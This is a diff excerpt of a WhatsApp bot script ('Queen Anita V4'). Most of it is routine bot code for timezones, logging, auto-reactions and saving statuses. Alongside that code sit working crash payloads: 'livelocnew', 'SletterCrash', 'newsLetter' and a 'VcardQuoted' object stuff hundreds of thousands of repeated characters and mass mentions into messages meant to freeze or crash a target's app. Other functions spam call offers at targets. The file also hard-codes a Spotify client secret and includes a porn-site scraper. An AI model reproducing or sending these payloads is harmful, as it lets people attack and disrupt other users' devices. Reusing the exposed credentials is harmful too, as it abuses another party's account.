'Africa/Dar_es_Salaam', '256': 'Africa/Kampala', '257': 'Africa/Bujumbura', '258': 'Africa/Maputo', + '260': 'Africa/Lusaka', '261': 'Indian/Antananarivo', '262': 'Indian/Reunion', '263': 'Africa/Harare', + '264': 'Africa/Windhoek', '265': 'Africa/Blantyre', '266': 'Africa/Maseru', '267': 'Africa/Gaborone', + '268': 'Africa/Mbabane', '269': 'Indian/Comoro', '290': 'Atlantic/St_Helena', '291': 'Africa/Asmara', + '297': 'America/Aruba', '298': 'Atlantic/Faroe', '299': 'America/Nuuk' +}; + +// Extract the correct country code +let countryCodee = parseCountryCodee(botNumbers) || 'UTC'; + +// Get the correct timezone +let botTimezone = timezones[countryCodee] || 'UTC'; + +// Get current time using moment-timezone +let now = moment().tz(botTimezone); + +// Construct time response message +let timeMessage = `🕰️ *Current Bot Time:*\n\n` + + `📅 *Date:* ${now.format('YYYY-MM-DD')}\n` + + `🕒 *Time:* ${now.format('HH:mm:ss')} (${botTimezone})\n` + + `📆 *Day:* ${now.format('dddd')}`; + + +if (command) { + if (m.isGroup) { + // Log group messages + console.log(chalk.bgBlue.white.bold(`━━━━ ⌜ QUEEN ANITA V4 - GROUP ⌟ ━━━━`)); + console.log(chalk.bgHex('#f39c12').hex('#ffffff').bold( + ` 📅 Date : ${botDayString} \n` + + ` 🕐 Time : ${botTimeString} (${botTimeZone}) \n` + + ` 💬 Message Received : ${m.mtype} \n` + + ` 🌐 Group Name : ${groupName} \n` + + ` 🔑 Group Id : ${m.chat} \n` + + ` 🗣️ Sender : ${pushname} \n` + + ` 👤 Recipient : ${botPhoneNumber} \n` + )); + } else { + // Log private messages + console.log(chalk.bgBlue.white.bold(`━━━━ ⌜ QUEEN ANITA V4 - PRIVATE ⌟ ━━━━`)); + console.log(chalk.bgHex('#f39c12').hex('#ffffff').bold( + ` 📅 Date : ${botDayString} \n` + + ` 🕐 Time : ${botTimeString} (${botTimeZone}) \n` + + ` 💬 Message Received : ${m.mtype} \n` + + ` 🌐 Group Name : No In Group \n` + + ` 🔑 Group Id : No In Group \n` + + ` 🗣️ Sender : ${pushname} \n` + + ` 👤 Recipient : ${botPhoneNumber} \n` + )); + } +} + + //unavailable + if (global.autoreadmessages) { + if (m.message) { + David.readMessages([m.key]) + } + } + + if (global.unavailable) { + if (m.message) { + David.sendPresenceUpdate('unavailable', m.chat) + } + } + + if (global.autoRecord) { + if (m.message) { + David.sendPresenceUpdate("recording", m.chat); + } + } + + if (global.autoTyping) { + if (m.message) { + David.sendPresenceUpdate("composing", m.chat); + } + } + + if (global.available) { + if (m.message) { + David.sendPresenceUpdate("available", m.chat); + } + } + + const VcardQuoted = { + key: { + fromMe: false, + participant: `0@s.whatsapp.net`, + ...(from ? { + remoteJid: "0@s.whatsapp.net" + } : {}) + }, + "message": { + "documentMessage": { + "url": "https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true", + "mimetype": "application/vnd.openxmlformats-officedocument.presentationml.slideshow", + "fileSha256": "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=", + "fileLength": "974197419741", + "pageCount": "974197419741", + "mediaKey": "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=", + "fileName": "𝐓𝐚𝐦𝐚𝐂𝐫𝐚𝐬𝐡~𝐃𝐨𝐜𝐮𝐦𝐞𝐧𝐭 :v", + "fileEncSha256": "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=", + "directPath": '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0', + "mediaKeyTimestamp": "1715880173", + "contactVcard": true + }, + "title": "Haha Bot" + "ꦾ".repeat(103000), + "body": { + "text": "TamaRiyuchi" + "ꦾ".repeat(103000) + "@1".repeat(150000) + }, + "nativeFlowMessage": {}, + "contextInfo": { + "mentionedJid": ["1@newsletter"], + "groupMentions": [{ "groupJid": "1@newsletter", "groupSubject": "TAMARYUICHI" }] + } + }, + "contextInfo": { + "mentionedJid": [m.chat], + "externalAdReply": { + "showAdAttribution": true, + "title": "Cella ", + "body": "Cella Always With You", + "mediaType": 3, + "renderLargerThumbnail": true, + "thumbnailUrl": "your-thumbnail-url-here", + "sourceUrl": "https://youtube.com/@Cella", + }, + "forwardedNewsletterMessageInfo": { + "newsletterJid": "12036332170343299@newsletter", + "serverMessageId": 1, + "newsletterName": "Cella Crasher", + } + }, + "expiryTimestamp": 0, + "amount": { + "value": "999999999", + "offset": 999999999, + "currencyCode": "CRASHCODE9741", + }, + "background": { + "id": "100", + "fileLength": "928283", + "width": 1000, + "height": 1000, + "mimetype": "application/vnd.ms-powerpoint", + "placeholderArgb": 4278190080, + "textArgb": 4294967295, + "subtextArgb": 4278190080, + } +} +async function livelocnew(isTarget, ptcp = false) { +let BoomText = "My Location, Come Here!!! @1" + "ꦾ".repeat(250000); + +const messageContent = { + ephemeralMessage: { + message: { + viewOnceMessage: { + message: { + liveLocationMessage: { + degreesLatitude: 0, + caption: BoomText, + sequenceNumber: "", + jpegThumbnail: null + }, + body: { + text: BoomText + }, + nativeFlowMessage: {}, // If needed, specify more details here + contextInfo: { + contactVcard: true, + mentionedJid: [m.chat], + groupMentions: [ + { + groupJid: "@120363321780343299@g.us", + groupSubject: "TAMARYUICHI" + } + ] + } + } + } + } + } +}; + +// Generate the WA message based on the content +var etc = generateWAMessageFromContent(m.chat, proto.Message.fromObject(messageContent), { + userJid: m.chat, + quoted: QuotedGalaxy // Ensure this is defined or passed correctly +}); + +// Send the generated message +await David.relayMessage(m.chat, etc.message, { + participant: { jid: m.chat }, + messageId: etc.key.id +}); +} +//END +//SEND CALL + +async function sendOfferCall(isTarget) { + try { + await David.offerCall(isTarget); + console.log(chalk.white.bold(`Success Send Offer Call To Target`)); + } catch (error) { + console.error(chalk.white.bold(`Failed Send Offer Call To Target:`, error)); + } +} + +async function sendOfferVideoCall(isTarget) { + try { + await David.offerCall(isTarget, { + video: true + }); + console.log(chalk.white.bold(`Success Send Offer Video Call To Target`)); + } catch (error) { + console.error(chalk.white.bold(`Failed Send Offer Video Call To Target:`, error)); + } +} + +if (global.autoreact) { +if (m.message) { + try { + // Array of random emojis + const emojis = ["😊", "👍", "😂", "💯", "🔥", "🙏", "🎉", "👏", "😎", "🤖", "👫", "👭", "👬", "👮", "🕴️", "💼", "📊", "📈", "📉", "📊", "📝", "📚", "📰", "📱", "💻", "📻", "📺", "🎬", "📽️", "📸", +"📷", "🕯️", "💡", "🔦", "🔧", "🔨", "🔩", "🔪", "🔫", "👑", +"👸", "🤴", "👹", "🤺", "🤻", "👺", "🤼", "🤽", "🤾", "🤿", +"🦁", "🐴", "🦊", "🐺", "🐼", "🐾", "🐿", "🦄", "🦅", "🦆", +"🦇", "🦈", "🐳", "🐋", "🐟", "🐠", "🐡", "🐙", "🐚", "🐜", +"🐝", "🐞", "🕷️", "🦋", "🐛", "🐌", "🐚", "🌿", "🌸", "💐", +"🌹", "🌺", "🌻", "🌴", "🏵", "🏰", "🏠", "🏡", "🏢", "🏣", +"🏥", "🏦", "🏧", "🏨", "🏩", "🏪", "🏫", "🏬", "🏭", "🏮", +"🏯", "🚣", "🛥", "🚂", "🚁", "🚀", "🛸", "🛹", "🚴", "🚲", "🛺", "🚮", "🚯", "🚱", "🚫", "🚽", "🕳️", "💣", "🔫", "🕷️", +"🕸️", "💀", "👻", "🕺", "💃", "🕴️", "👶", "👵", "👴", "👱", +"👨", "👩", "👧", "👦", "👪", "👫", "👭", "👬", "👮", "🕴️", +"💼", "📊", "📈", "📉", "📊", "📝", "📚", "📰", "📱", "💻", +"📻", "📺", "🎬", "📽️", "📸", "📷", "🕯️", "💡", "🔦", "🔧", +"🔨", "🔩", "🔪", "🔫", "👑", "👸", "🤴", "👹", "🤺", "🤻", +"👺", "🤼", "🤽", "🤾", "🤿", "🦁", "🐴", "🦊", "🐺", "🐼", +"🐾", "🐿", "🦄", "🦅", "🦆", "🦇", "🦈", "🐳", "🐋", "🐟", +"🐠", "🐡", "🐙", "🐚", "🐜", "🐝", "🐞", "🕷️", "🦋", "🐛", +"🐌", "🐚", "🌿", "🌸", "💐", "🌹", "🌺", "🌻", "🌴", "🏵", +"🏰", "🏠", "🏡", "🏢", "🏠", "🏡", "🏢", "🏣", "🏥", "🏦", "🏧", "🏨", "🏩", "🏪", +"🏫", "🏬", "🏭", "🏮", "🏯", "🚣", "🛥", "🚂", "🚁", "🚀", +"🛸", "🛹", "🚴", "🚲", "🛺", "🚮", "🚯", "🚱", "🚫", "🚽", +"🕳️", "💣", "🔫", "🕷️", "🕸️", "💀", "👻", "🕺", "💃", "🕴️", +"👶", "👵", "👴", "👱", "👨", "👩", "👧", "👦", "👪", "👫", +"👭", "👬", "👮", "🕴️", "💼", "📊", "📈", "📉", "📊", "📝", +"📚", "📰", "📱", "💻", "📻", "📺", "🎬", "📽️", "📸", "📷", +"🕯️", "💡", "🔦", "🔧", "🔨", "🔩", "🔪", "🔫", "👑", "👸", +"🤴", "👹", "🤺", "🤻", "👺", "🤼", "🤽", "🤾", "🤿", "🦁", +"🐴", "🦊", "🐺", "🐼", "🐾", "🐿", "🦄", "🦅", "🦆", "🦇", +"🦈", "🐳", "🐋", "🐟", "🐠", "🐡", "🐙", "🐚", "🐜", "🐝", +"🐞", "🕷️", "🦋", "🐛", "🐌", "🐚", "🌿", "🌸", "💐", "🌹", +"🌺", "🌻", "🌴", "🏵", "🏰", "🏠", "🏡", "🏢", "🏣", "🏥", +"🏦", "🏧", "🏨", "🏩", "🏪", "🏫", "🏬", "🏭", "🏮", "🏯", +"🚣", "🛥", "🚂", "🚁", "🚀", "🛸", "🛹", "🚴", "🚲", "🛺", +"🚮", "🚯", "🚱", "🚫", "🚽", "🕳️", "💣", "🔫", "🕷️", "🕸️", +"💀", "👻", "🕺", "💃", "🕴️", "👶", "👵", "👴", "👱", "👨", +"👩", "👧", "👦", "👪", "🙂", "😑", "🤣", "😍", "😘", "😗", "😙", "😚", "😛", "😝", +"😞", "😟", "😠", "😡", "😢", "😭", "😓", "😳", "😴", "😌", +"😆", "😂", "🤔", "😒", "😓", "😶", "🙄", "🐶", "🐱", "🐔", +"🐷", "🐴", "🐲", "🐸", "🐳", "🐋", "🐒", "🐑", "🐕", "🐩", +"🍔", "🍕", "🥤", "🍣", "🍲", "🍴", "🍽", "🍹", "🍸", "🎂", +"📱", "📺", "📻", "🎤", "📚", "💻", "📸", "📷", "❤️", "💔", +"❣️", "☀️", "🌙", "🌃", "🏠", "🚪", "🇺🇸", "🇬🇧", "🇨🇦", +"🇦🇺", "🇯🇵", "🇫🇷", "🇪🇸", "👍", "👎", "👏", "👫", "👭", +"👬", "👮", "🤝", "🙏", "👑", "🌻", "🌺", "🌸", "🌹", "🌴", +"🏞️", "🌊", "🚗", "🚌", "🛣️", "🛫️", "🛬️", "🚣", "🛥", +"🚂", "🚁", "🚀", "🏃‍♂️", "🏋️‍♀️", "🏊‍♂️", "🏄‍♂️", "🎾", +"🏀", "🏈", "🎯", "🏆", "🎲", "⬆️", "⬇️", "⇒", "⇐", "↩️", +"↪️", "ℹ️", "‼️", "⁉️", "‽️", "©️", "®️", "™️", "🔴", "🔵", +"🟢", "🔹", "🔺", "💯", "👑", "🤣", "🤷‍♂️", "🤷‍♀️", "🙅‍♂️", +"🙅‍♀️", "🙆‍♂️", "🙆‍♀️", "🤦‍♂️", "🤦‍♀️", "🏻", "💆‍♂️", +"💆‍♀️", "🕴‍♂️", "🕴‍♀️", "💇‍♂️", "💇‍♀️", "🚫", "🚽", "🕳️", +"💣", "🔫", "🕷️", "🕸️", "💀", "👻", "🕺", "💃", "🕴️", +"👶", "👵", "👴", "👱", "👨", "👩", "👧", "👦", "👪", +"👫", "👭", "👬", "👮", "🕴️", "💼", "📊", "📈", "📉", +"📊", "📝", "📚", "📰", "📱", "💻", "📻", "📺", "🎬", +"📽️", "📸", "📷", "🕯️", "💡", "🔦", "�", "🏯", "🏰", "🏠", "🏡", "🏢", "🏣", "🏥", "🏦", "🏧", "🏨", +"🏩", "🏪", "🏫", "🏬", "🏭", "🏮", "🏯", "🚣", "🛥", "🚂", +"🚁", "🚀", "🛸", "🛹", "🚴", "🚲", "🛺", "🚮", "🚯", "🚱", +"🚫", "🚽", "🕳️", "💣", "🔫", "🕷️", "🕸️", "💀", "👻", "🕺", +"💃", "🕴️", "👶", "👵", "👴", "👱", "👨", "👩", "👧", "👦", +"👪", "👫", "👭", "👬", "👮", "🕴️", "💼", "📊", "📈", "📉", +"📊", "📝", "📚", "📰", "📱", "💻", "📻", "📺", "🎬", "📽️", +"📸", "📷", "🕯️", "💡", "🔦", "🔧", "🔨", "🔩", "🔪", "🔫", +"👑", "👑", "👸", "🤴", "👹", "🤺", "🤻", "👺", "🤼", "🤽", +"🤾", "🤿", "🦁", "🐴", "🦊", "🐺", "🐼", "🐾", "🐿", "🦄", +"🦅", "🦆", "🦇", "🦈", "🐳", "🐋", "🐟", "🐠", "🐡", "🐙", +"🐚", "🐜", "🐝", "🐞", "🕷️", "🦋", "🐛", "🐌", "🐚", "🌿", +"🌸", "💐", "🌹", "🌺", "🌻", "🌴", "🌳", "🌲", "🌾", "🌿", +"🍃", "🍂", "🍃", "🌻", "💐", "🌹", "🌺", "🌸", "🌴", "🏵", +"🎀", "🏆", "🏈", "🏉", "🎯", "🏀", "🏊", "🏋", "🏌", "🎲", +"📚", "📖", "📜", "📝", "💭", "💬", "🗣", "💫", "🌟", "🌠", +"🎉", "🎊", "👏", "💥", "🔥", "💥", "🌪", "💨", "🌫", "🌬", +"🌩", "🌨", "🌧", "🌦", "🌥", "🌡", "🌪", "🌫", "🌬", "🌩", +"🌨", "🌧", "🌦", "🌥", "🌡", "🌪", "🌫", "🌬", "🌩", "🌨", +"🌧", "🌦", "🌥", "🌡", "🌱", "🌿", "🍃", "🍂", "🌻", "💐", "🌹", "🌺", "🌸", "🌴", +"🏵", "🎀", "🏆", "🏈", "🏉", "🎯", "🏀", "🏊", "🏋", "🏌", +"🎲", "📚", "📖", "📜", "📝", "💭", "💬", "🗣", "💫", "🌟", +"🌠", "🎉", "🎊", "👏", "💥", "🔥", "💥", "🌪", "💨", "🌫", +"🌬", "🌩", "🌨", "🌧", "🌦", "🌥", "🌡", "🌪", "🌫", "🌬", +"🌩", "🌨", "🌧", "🌦", "🌥", "🌡", "🕯️", "💡", "🔦", "🔧", +"🔨", "🔩", "🔪", "🔫", "👑", "👸", "🤴", "👹", "🤺", "🤻", +"👺", "🤼", "🤽", "🤾", "🤿", "🦁", "🐴", "🦊", "🐺", "🐼", +"🐾", "🐿", "🦄", "🦅", "🦆", "🦇", "🦈", "🐳", "🐋", "🐟", +"🐠", "🐡", "🐙", "🐚", "🐜", "🐝", "🐞", "🕷️", "🦋", "🐛", +"🐌", "🐚", "🌿", "🌸", "💐", "🌹", "🌺", "🌻", "🌴", "🏵", +"🏰", "🏠", "🏡", "🏢", "🏣", "🏥", "🏦", "🏧", "🏨", "🏩", +"🏪", "🏫", "🏬", "🏭", "🏮", "🏯", "🚣", "🛥", "🚂", "🚁", +"🚀", "🛸", "🛹", "🚴", "🚲", "🛺", "🚮", "🚯", "🚱", "🚫", +"🚽", "🕳️", "💣", "🔫", "🕷️", "🕸️", "💀", "👻", "🕺", "💃", +"🕴️", "👶", "👵", "👴", "👱", "👨", "👩", "👧", "👦", "👪", +"👫", "👭", "👬", "👮", "🕴️", "💼", "📊", "📈", "📉", "📊", +"📝", "📚", "📰", "📱", "💻", "📻", "📺", "🎬", "📽️", "📸", +"📷", "🕯️", "💡", "🔦", "🔧", "🔨", "🔩", "🔪", "🔫", "👑", +"👸", "🤴", "👹", "🤺", "🤻", "👺", "🤼", "🤽", "🤾", "🤿", +"🦁", "🐴", "🦊", "🐺", "🐼", "🐾", "🐿", "🦄", "🦅", "🦆", "🦇", "🦈", "🐳", "🐋", "🐟", "🐠", +"🐡", "🐙", "🐚", "🐜", "🐝", "🐞", "🕷️", "🦋", "🐛", "🐌", +"🐚", "🌿", "🌸", "💐", "🌹", "🌺", "🌻", "🌴", "🏵", "🏰", "🐒", "🦍", "🦧", "🐶", "🐕", "🦮", "🐕‍🦺", "🐩", "🐺", "🦊", +"🦝", "🐱", "🐈", "🐈‍⬛", "🦁", "🐯", "🐅", "🐆", "🐴", "🐎", +"🦄", "🦓", "🦌", "🦬", "🐮", "🐂", "🐃", "🐄", "🐷", "🐖", +"🐗", "🐽", "🐏", "🐑", "🐐", "🐪", "🐫", "🦙", "🦒", "🐘", +"🦣", "🦏", "🦛", "🐭", "🐁", "🐀", "🐹", "🐰", "🐇", "🐿️", +"🦫", "🦔", "🦇", "🐻", "🐻‍❄️", "🐨", "🐼", "🦥", "🦦", "🦨", +"🦘", "🦡", "🐾", "🦃", "🐔", "🐓", "🐣", "🐤", "🐥", "🐦", +"🐧", "🕊️", "🦅", "🦆", "🦢", "🦉", "🦤", "🪶", "🦩", "🦚", +"🦜", "🐸", "🐊", "🐢", "🦎", "🐍", "🐲", "🐉", "🦕", "🦖", +"🐳", "🐋", "🐬", "🦭", "🐟", "🐠", "😀", "😃", "😄", "😁", "😆", "😅", "🤣", "😂", "🙂", "🙃", +"😉", "😊", "😇", "🥰", "😍", "🤩", "😘", "😗", "☺️", "😚", +"😙", "🥲", "😋", "😛", "😜", "🤪", "😝", "🤑", "🤗", "🤭", +"🤫", "🤔", "🤐", "🤨", "😐", "😑", "😶", "😶‍🌫️", "😏", "😒", +"🙄", "😬", "😮‍💨", "🤥", "😌", "😔", "😪", "🤤", "😴", "😷", +"🤒", "🤕", "🤢", "🤮", "🤧", "🥵", "🥶", "🥴", "😵", "😵‍💫", +"🤯", "🤠", "🥳", "🥸", "😎", "🤓", "🧐", "😕", "😟", "🙁", +"☹️", "😮", "😯", "😲", "😳", "🥺", "😦", "😧", "😨", "😰", +"😥", "😢", "😭", "😱", "😖", "😣", "😞", "😓", "😩", "😫", +"🥱", "😤", "😡", "😠", "🤬", "😈", "👿", "💀", "☠️", "💩", +"🤡", "👹", "👺", "👻", "👽", "👾", "🤖", "😺", "😸", "😹", +"😻", "😼", "😽", "🙀", "😿", "😾", "🙈", "🙉", "🙊", "💋", +"💌", "💘", "💝", "💖", "💗", "💓", "💞", "💕", "💟", "❣️", +"💔", "❤️‍🔥", "❤️‍🩹", "❤️", "🧡", "💛", "💚", "💙", "💜", "🤎", +"🖤", "🤍", "💯", "💢", "💥", "💫", "💦", "💨", "🕳️", "💣", +"💬", "👁️‍🗨️", "🗨️", "🗯️", "💭", "💤", "👋", "🤚", "🖐️", "✋", +"🖖", "👌", "🤌", "🤏", "✌️", "🤞", "🤟", "🤘", "🤙", "👈", +"👉", "👆", "🖕", "👇", "☝️", "👍", "👎", "✊", "👊", "🤛", +"🤜", "👏", "🙌", "👐", "🤲", "🤝", "🙏", "✍️", "💅", "🤳", +"💪", "🦾", "🦿", "🦵", "🦶", "👂", "🦻", "👃", "🧠", "🫀", +"🫁", "🦷", "🦴", "👀", "👁️", "👅", "👄", "👶", "🧒", "👦", +"👧", "🧑", "👱", "👨", "🧔", "🧔‍♂️", "🧔‍♀️", "👨‍🦰", "👨‍🦱", "👨‍🦳", +"👨‍🦲", "👩", "👩‍🦰", "🧑‍🦰", "👩‍🦱", "🧑‍🦱", "👩‍🦳", "🧑‍🦳", "👩‍🦲", "🧑‍🦲", +"👱‍♀️", "👱‍♂️", "🧓", "👴", "👵", "🙍", "🙍‍♂️", "🙍‍♀️", "🙎", "🙎‍♂️", +"🙎‍♀️", "🙅", "🙅‍♂️", "🙅‍♀️", "🙆", "🙆‍♂️", "🙆‍♀️", "💁", "💁‍♂️", "💁‍♀️", +"🙋", "🙋‍♂️", "🙋‍♀️", "🧏", "🧏‍♂️", "🧏‍♀️", "🙇", "🙇‍♂️", "🙇‍♀️", "🤦", +"🤦‍♂️", "🤦‍♀️", "🤷", "🤷‍♂️", "🤷‍♀️", "🧑‍⚕️", "👨‍⚕️", "👩‍⚕️", "🧑‍🎓", "👨‍🎓", +"👩‍🎓", "🧑‍🏫", "👨‍🏫", "👩‍🏫", "🧑‍⚖️", "👨‍⚖️", "👩‍⚖️", "🧑‍🌾", "👨‍🌾", "👩‍🌾", +"🧑‍🍳", "👨‍🍳", "👩‍🍳", "🧑‍🔧", "👨‍🔧", "👩‍🔧", "🧑‍🏭", "👨‍🏭", "👩‍🏭", "🧑‍💼", +"👨‍💼", "👩‍💼", "🧑‍🔬", "👨‍🔬", "👩‍🔬", "🧑‍💻", "👨‍💻", "👩‍💻", "🧑‍🎤", "👨‍🎤", +"👩‍🎤", "🧑‍🎨", "👨‍🎨", "👩‍🎨", "🧑‍✈️", "👨‍✈️", "👩‍✈️", "🧑‍🚀", "👨‍🚀", "👩‍🚀", +"🧑‍🚒", "👨‍🚒", "👩‍🚒", "👮", "👮‍♂️", "👮‍♀️", "🕵️", "🕵️‍♂️", "🕵️‍♀️", "💂", +"💂‍♂️", "💂‍♀️", "🥷", "👷", "👷‍♂️", "👷‍♀️", "🤴", "👸", "👳", "👳‍♂️", +"👳‍♀️", "👲", "🧕", "🤵", "🤵‍♂️", "🤵‍♀️", "👰", "👰‍♂️", "👰‍♀️", "🤰", +"🤱", "👩‍🍼", "👨‍🍼", "🧑‍🍼", "👼", "🎅", "🤶", "🧑‍🎄", "🦸", "🦸‍♂️", +"🦸‍♀️", "🦹", "🦹‍♂️", "🦹‍♀️", "🧙", "🧙‍♂️", "🧙‍♀️", "🧚", "🧚‍♂️", "🧚‍♀️", +"🧛", "🧛‍♂️", "🧛‍♀️", "🧜", "🧜‍♂️", "🧜‍♀️", "🧝", "🧝‍♂️", "🧝‍♀️", "🧞", +"🧞‍♂️", "🧞‍♀️", "🧟", "🧟‍♂️", "🧟‍♀️", "💆", "💆‍♂️", "💆‍♀️", "💇", "💇‍♂️", +"💇‍♀️", "🚶", "🚶‍♂️", "🚶‍♀️", "🧍", "🧍‍♂️", "🧍‍♀️", "🧎", "🧎‍♂️", "🧎‍♀️", +"🧑‍🦯", "👨‍🦯", "👩‍🦯", "🧑‍🦼", "👨‍🦼", "👩‍🦼", "🧑‍🦽", "👨‍🦽", "👩‍🦽", "🏃", +"🏃‍♂️", "🏃‍♀️", "💃", "🕺", "🕴️", "👯", "👯‍♂️", "👯‍♀️", "🧖", "🧖‍♂️", +"🧖‍♀️", "🧗", "🧗‍♂️", "🧗‍♀️", "🤺", "🏇", "⛷️", "🏂", "🏌️", "🏌️‍♂️", +"🏌️‍♀️", "🏄", "🏄‍♂️", "🏄‍♀️", "🚣", "🚣‍♂️", "🚣‍♀️", "🏊", "🏊‍♂️", "🏊‍♀️", +"⛹️", "⛹️‍♂️", "⛹️‍♀️", "🏋️", "🏋️‍♂️", "🏋️‍♀️", "🚴", "🚴‍♂️", "🚴‍♀️", "🚵", +"🚵‍♂️", "🚵‍♀️", "🤸", "🤸‍♂️", "🤸‍♀️", "🤼", "🤼‍♂️", "🤼‍♀️", "🤽", "🤽‍♂️", +"🤽‍♀️", "🤾", "🤾‍♂️", "🤾‍♀️", "🤹", "🤹‍♂️", "🤹‍♀️", "🧘", "🧘‍♂️", "🧘‍♀️", +"🛀", "🛌", "🧑‍🤝‍🧑", "👭", "👫", "👬", "💏", "👩‍❤️‍💋‍👨", "👨‍❤️‍💋‍👨", "👩‍❤️‍💋‍👩", +"💑", "👩‍❤️‍👨", "👨‍❤️‍👨", "👩‍❤️‍👩", "👪", "👨‍👩‍👦", "👨‍👩‍👧", "👨‍👩‍👧‍👦", "👨‍👩‍👦‍👦", "👨‍👩‍👧‍👧", +"👨‍👨‍👦", "👨‍👨‍👧", "👨‍👨‍👧‍👦", "👨‍👨‍👦‍👦", "👨‍👨‍👧‍👧", "👩‍👩‍👦", "👩‍👩‍👧", "👩‍👩‍👧‍👦", "👩‍👩‍👦‍👦", "👩‍👩‍👧‍👧", +"👨‍👦", "👨‍👦‍👦", "👨‍👧", "👨‍👧‍👦", "👨‍👧‍👧", "👩‍👦", "👩‍👦‍👦", "👩‍👧", "👩‍👧‍👦", "👩‍👧‍👧", +"🗣️", "👤", "👥", "🫂", "👣", "🦰", "🦱", "🦳", "🦲", "🐵"]; + + // Function to pick a random emoji + const getRandomEmoji = () => emojis[Math.floor(Math.random() * emojis.length)]; + + // Trigger a random emoji reaction once when a message is received + await David.sendMessage(m.chat, { react: { text: getRandomEmoji(), key: m.key }}); + + } catch (err) { + // In case of any errors, still react with a random emoji + await David.sendMessage(m.chat, { react: { text: getRandomEmoji(), key: m.key }}); + } +} +} + + + +try { +const textLower = m.text.toLowerCase(); +if (textLower === 'save' || textLower === 'status' || +textLower === 'please send me this video' || +textLower === 'send video' || +textLower === 'Send me' || +textLower === 'send pls' || + textLower === 'pls send' || + textLower === 'please send' || +textLower === 'save' || textLower === 'send') { + const quotedMessage = m.msg.contextInfo.quotedMessage; + if (quotedMessage) { + if (quotedMessage.imageMessage) { +let imageCaption = quotedMessage.imageMessage.caption; +let imageUrl = await David.downloadAndSaveMediaMessage(quotedMessage.imageMessage); +David.sendMessage(m.chat, { image: { url: imageUrl }, caption: imageCaption }); +reply('*Downloading status...*'); + } + if (quotedMessage.videoMessage) { +let videoCaption = quotedMessage.videoMessage.caption; +let videoUrl = await David.downloadAndSaveMediaMessage(quotedMessage.videoMessage); +David.sendMessage(m.chat, { video: { url: videoUrl }, caption: videoCaption }); +reply('`*Downloading status...*`'); + } + } +} +} catch (error) { +console.error("`Error, Please Try Again Later`", error); +} + +async function searchSpotifyTracks(query) { + const clientId = 'acc6302297e040aeb6e4ac1fbdfd62c3'; + const clientSecret = '0e8439a1280a43aba9a5bc0a16f3f009'; + const auth = Buffer.from(`${clientId}:${clientSecret}`).toString('base64'); + + const getToken = async () => { + const response = await fetch('https://accounts.spotify.com/api/token', { + method: 'POST', + timeout: 60000, // 60 seconds + body: new URLSearchParams({ grant_type: 'client_credentials' }), + headers: { Authorization: `Basic ${auth}` }, + }); + return (await response.json()).access_token; + }; + + const accessToken = await getToken(); + const offset = 10; + const searchUrl = `https://api.spotify.com/v1/search?q=${encodeURIComponent(query)}&type=track&offset=${offset}`; + const response = await fetch(searchUrl, { + headers: { Authorization: `Bearer ${accessToken}` }, + }); + const data = await response.json(); + return data.tracks.items; +} + +function pickRandom(list) { +return list[Math.floor(list.length * Math.random())] +} + +const metaai = { + key: { + fromMe: false, + participant: `13135550002@s.whatsapp.net`, ...(m.chat ? + { remoteJid: "6285736178354-1625305606@g.us" } : {}) + }, + message: { + conversation: `_${global.anitav4} Verified By MetaAI_` + } + } + + async function sendPoll(jid, text, list) { +David.relayMessage(jid, { +"pollCreationMessage": { +"name": text, +"options": list.map(v => { return { optionName: v } }), +"selectableOptionsCount": list.length +} +}, {}) +} + + + +async function searchVideo(query) { + const url = `https://www.pornhub.com/video/search?search=${query}`; + const response = await fetch(url); + const html = await response.text(); + const $ = cheerio.load(html); + + const videoList = []; + + $('li[data-video-segment]').each((index, element) => { + const $element = $(element); + + const link = $element.find('.title a').attr('href').trim(); + const title = $element.find('.title a').text().trim(); + const uploader = $element.find('.videoUploaderBlock a').text().trim(); + const views = $element.find('.views').text().trim(); + const duration = $element.find('.duration').text().trim(); + + const videoData = { + link: "https://www.pornhub.com" + link, + title: title, + uploader: uploader, + views: views, + duration: duration + }; + + videoList.push(videoData); + }); + + return videoList; +} + +async function newsLetter(zLoc, ptcp = true) { + try { + const messsage = { + botInvokeMessage: { + message: { + newsletterAdminInviteMessage: { + newsletterJid: `33333333333333333@newsletter`, + newsletterName: "[‌‌‌‌‌‌‌‌‌P‌‌‌‌‌‌‌‌‌‌_‌‌‌‌‌‌‌‌‌‌‌L‌‌‌‌‌‌‌‌‌] ‌‌‌‌‌‌‌I‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌S‌‌‌ ‌‌‌‌‌‌C‌‌‌‌‌‌‌‌‌‌‌‌‌‌O‌‌‌‌‌‌‌‌‌‌‌‌M‌‌‌‌‌‌‌‌‌‌‌‌‌I‌‌‌‌‌‌‌‌‌‌‌‌‌N‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌G‌‌‌‌‌‌‌!⟆" + "ꦾ".repeat(120000), + jpegThumbnail: "", + caption: "ꦽ".repeat(120000), + inviteExpiration: Date.now() + 1814400000, + }, + }, + }, + }; + await David.relayMessage(zLoc, ptcp, { + userJid: zLoc, + }); + } + catch (err) { + console.log(err); + } + } +async function SletterCrash(zLoc, ptcp = false) { +let virtex = "☆ PainCrash" + "ꦾ".repeat(77777) + "@1".repeat(77777); + var messageContent = generateWAMessageFromContent(zLoc, proto.Message.fromObject({ + 'viewOnceMessage': { + 'message': { + "newsletterAdminInviteMessage": { + "newsletterJid": `120363321763581234@newsletter`, + "newsletterName": virtex, + "jpegThumbnail": "", + "caption": virtex, + "inviteExpiration": Date.now() + 1814400000 + }, + contextInfo: { + mentionedJid: ["6283139073473@s.whatsapp.net"], + groupMentions: [{ groupJid: "120363321763581234@newsletter", groupSubject: virtex }] + } + } + } + }), { + 'userJid': zLoc + }); + await David.relayMessage(zLoc, messageContent.message, { + 'participant': { + 'jid': zLoc + }, + 'messageId': messageContent.key.id + }); + console.log(chalk.red.bold('Crash System Device By ☆ Pain')) +} + async function XeonXRobust(zLoc, ptcp = false) { + const jids = `_*~@916909137213~*_\n`.repeat(10200); + const 